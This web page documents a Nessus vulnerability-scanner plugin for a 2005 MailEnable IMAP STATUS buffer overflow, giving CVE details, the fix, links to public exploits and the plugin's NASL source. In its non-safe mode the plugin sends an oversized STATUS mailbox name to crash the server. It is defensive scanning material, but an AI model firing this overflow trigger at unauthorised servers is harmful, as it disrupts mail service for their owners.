MailEnable IMAP STATUS Command Remote Overflow - Nessus

High Plugin ID: 19193

This page contains detailed information about the MailEnable IMAP STATUS Command Remote Overflow Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 19193
Name: MailEnable IMAP STATUS Command Remote Overflow
Filename: mailenable_imap_status_overflow.nasl
Vulnerability Published: 2005-07-12
This Plugin Published: 2005-07-14
Last Modification Time: 2018-11-15
Plugin Version: 1.18
Plugin Type: remote
Plugin Family: Windows
Dependencies: imap4_banner.nasl, smtpserver_detect.nasl
Required KB Items [?]: imap/login, imap/password
Excluded KB Items: imap/false_imap

Vulnerability Information

Severity: High
Vulnerability Published: 2005-07-12
Patch Published: 2005-06-30
CVE [?]: CVE-2005-2278
CPE [?]: cpe:/a:mailenable:mailenable

Synopsis

The remote IMAP server is affected by a buffer overflow vulnerability.

Description

The remote host is running a version of MailEnable's IMAP service that is prone to a buffer overflow attack when processing a STATUS command with a long mailbox name. Once authenticated, an attacker can exploit this flaw to execute arbitrary code subject to the privileges of the affected application.

Solution

Upgrade to MailEnable Professional 1.6 or later or to MailEnable Enterprise Edition 1.1 or later.

Public Exploits

Target Network Port(s): 25, 143
Target Asset(s): Services/imap, Services/smtp
Exploit Available: True (Metasploit Framework, Exploit-DB, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the MailEnable IMAP STATUS Command Remote Overflow vulnerability:

Metasploit: exploit/windows/imap/mailenable_status
[MailEnable IMAPD (1.54) STATUS Request Buffer Overflow]
Exploit-DB: exploits/windows/remote/16485.rb
[EDB-16485: MailEnable IMAPD 1.54 - STATUS Request Buffer Overflow (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:L/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C

CVSS Base Score:	7.2 (High)
Impact Subscore:	10.0
Exploitability Subscore:	3.9
CVSS Temporal Score:	6.0 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.0 (Medium)

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Plugin Source

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(19193);
  script_version("1.18");
  script_cvs_date("Date: 2018/11/15 20:50:27");

  script_cve_id("CVE-2005-2278");
  script_bugtraq_id(14243);

  script_name(english:"MailEnable IMAP STATUS Command Remote Overflow");
  script_summary(english:"Checks for STATUS command buffer overflow in MailEnable's IMAP service");
 
  script_set_attribute(attribute:"synopsis", value:
"The remote IMAP server is affected by a buffer overflow vulnerability." );
  script_set_attribute(attribute:"description", value:
"The remote host is running a version of MailEnable's IMAP service
that is prone to a buffer overflow attack when processing a STATUS
command with a long mailbox name.  Once authenticated, an attacker can
exploit this flaw to execute arbitrary code subject to the privileges
of the affected application." );
  script_set_attribute(attribute:"see_also", value:"https://www.secureauth.com/?idx=467&idxseccion=10" );
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2005/Jul/202" );
  script_set_attribute(attribute:"solution", value:
"Upgrade to MailEnable Professional 1.6 or later or to MailEnable
Enterprise Edition 1.1 or later." );
  script_set_cvss_base_vector("CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'MailEnable IMAPD (1.54) STATUS Request Buffer Overflow');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"plugin_publication_date", value: "2005/07/14");
  script_set_attribute(attribute:"patch_publication_date", value: "2005/06/30");
  script_set_attribute(attribute:"vuln_publication_date", value: "2005/07/12");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:mailenable:mailenable");
  script_end_attributes();
 
  script_category(ACT_MIXED_ATTACK);
  script_family(english:"Windows");
  script_copyright(english:"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.");
  script_dependencie("smtpserver_detect.nasl", "imap4_banner.nasl");
  script_exclude_keys("imap/false_imap");
  script_require_keys("imap/login", "imap/password");
  script_require_ports("Services/smtp", 25, "Services/imap", 143);

  exit(0);
}


include("global_settings.inc");
include("imap_func.inc");
include("smtp_func.inc");


port = get_kb_item("Services/imap");
if (!port) port = 143;
if (!get_port_state(port) || get_kb_item("imap/false_imap")) exit(0);


# Make sure the banner is for MailEnable.
banner = get_imap_banner(port:port);
if (!banner || "* OK IMAP4rev1 server ready" >!< banner) exit(0);


# If safe checks are enabled...
if (safe_checks()) {
  # Check the version number from the SMTP server's banner.
  smtp_port = get_kb_item("Services/smtp");
  if (!smtp_port) port = 25;
  if (!get_port_state(smtp_port)) exit(0);
  if (get_kb_item('SMTP/'+smtp_port+'/broken')) exit(0);

  banner = get_smtp_banner(port:port);
  if (banner =~ "Mail(Enable| Enable SMTP) Service") {
    # nb: Standard Edition seems to format version as "1.71--" (for 1.71),
    #     Professional Edition formats it like "0-1.2-" (for 1.2), and
    #     Enterprise Edition formats it like "0--1.1" (for 1.1).
    ver = eregmatch(pattern:"Version: (0-+)?([0-9][^- ]+)-*", string:banner);
    if (ver == NULL) {
      exit(1, "cannot determine version of MailEnable's SMTP connector service");
    }
    if (ver[1] == NULL) {
      edition = "Standard";
    }
    else if (ver[1] == "0-") {
      edition = "Professional";
    }
    else if (ver[1] == "0--") {
      edition = "Enterprise";
    }
    if (isnull(edition)) {
      exit(1, "cannot determine edition of MailEnable's SMTP connector service");
    }
    ver = ver[2];

    if (
      # nb: Professional versions < 1.6 are vulnerable.
      (edition == "Professional" && ver =~ "^1\.[0-5]") ||
      # nb: Enterprise versions < 1.1 are vulnerable.
      (edition == "Enterprise" && ver =~ "^1\.0")
    ) {
      security_hole(port);
    }
  }
 exit(0);
}
# Otherwise, try to exploit it.
else {
  user = get_kb_item("imap/login");
  pass = get_kb_item("imap/password");
  if ((user == "") || (pass == "")) {
    exit(0, "imap/login and/or imap/password are empty");
  }

  # Establish a connection.
  tag = 0;
  soc = open_sock_tcp(port);
  if (!soc) exit(0);

  # Read banner.
  s = recv_line(socket:soc, length:1024);
  if (!strlen(s)) {
    close(soc);
    exit(0);
  }

  # Log in.
  ++tag;
  c = string("nessus", string(tag), " LOGIN ", user, " ", pass);
  send(socket:soc, data:string(c, "\r\n"));
  while (s = recv_line(socket:soc, length:1024)) {
    s = chomp(s);
    m = eregmatch(pattern:string("^nessus", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
    if (!isnull(m)) {
      resp = m[1];
      break;
    }
    resp = "";
  }

  # If successful, try to exploit the flaw.
  if (resp && resp =~ "OK") {
    ++tag;
    c = string(
      "nessus", string(tag), 
      ' STATUS "', crap(10540), '" (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)'
    );
    send(socket:soc, data:string(c, "\r\n"));
    while (s = recv_line(socket:soc, length:1024)) {
      s = chomp(s);
      m = eregmatch(pattern:string("^nessus", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
      if (!isnull(m)) {
        resp = m[1];
        break;
      }
      resp = "";
    }

    # If there's no response, make sure it's really down.
    if (!s || !resp) {
      # Try to reestablish a connection and read the banner.
      soc2 = open_sock_tcp(port);
      if (soc2) s2 = recv_line(socket:soc2, length:1024);

      # If we couldn't establish the connection or read the banner,
      # there's a problem.
      if (!soc2 || !strlen(s2)) {
        security_hole(port);
        exit(0);
      }
      close(soc2);
    }
  }
  # Else, let user know there was a problem with the credentials.
  else if (resp && resp =~ "NO") {
    debug_print("couldn't login with supplied IMAP credentials!", level:1);
  }

  # Be nice and logout if there's still a connection.
  if (soc) {
    ++tag;
    c = string("nessus", string(tag), " LOGOUT");
    send(socket:soc, data:string(c, "\r\n"));
    close(soc);
  }
}

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/mailenable_imap_status_overflow.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\mailenable_imap_status_overflow.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/mailenable_imap_status_overflow.nasl

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How to Run

Here is how to run the MailEnable IMAP STATUS Command Remote Overflow as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select Windows plugin family.
On the right side table select MailEnable IMAP STATUS Command Remote Overflow plugin ID 19193.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl mailenable_imap_status_overflow.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a mailenable_imap_status_overflow.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - mailenable_imap_status_overflow.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state mailenable_imap_status_overflow.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

14243

See also:

Similar and related Nessus plugins:

19783 - MailEnable IMAP Server W3C Logging Overflow
23783 - MailEnable IMAP Server Multiple Buffer Overflow Vulnerabilities (ME-10025)
17974 - MailEnable IMAP / SMTP Multiple Remote Vulnerabilities
59569 - MailEnable ForgottenPassword.aspx Username Parameter XSS
18123 - MailEnable HTTPMail Service Authorization Header Remote Overflow

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file mailenable_imap_status_overflow.nasl version 1.18. For more plugins, visit the Nessus Plugin Library.

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MailEnable IMAP STATUS Command Remote Overflow - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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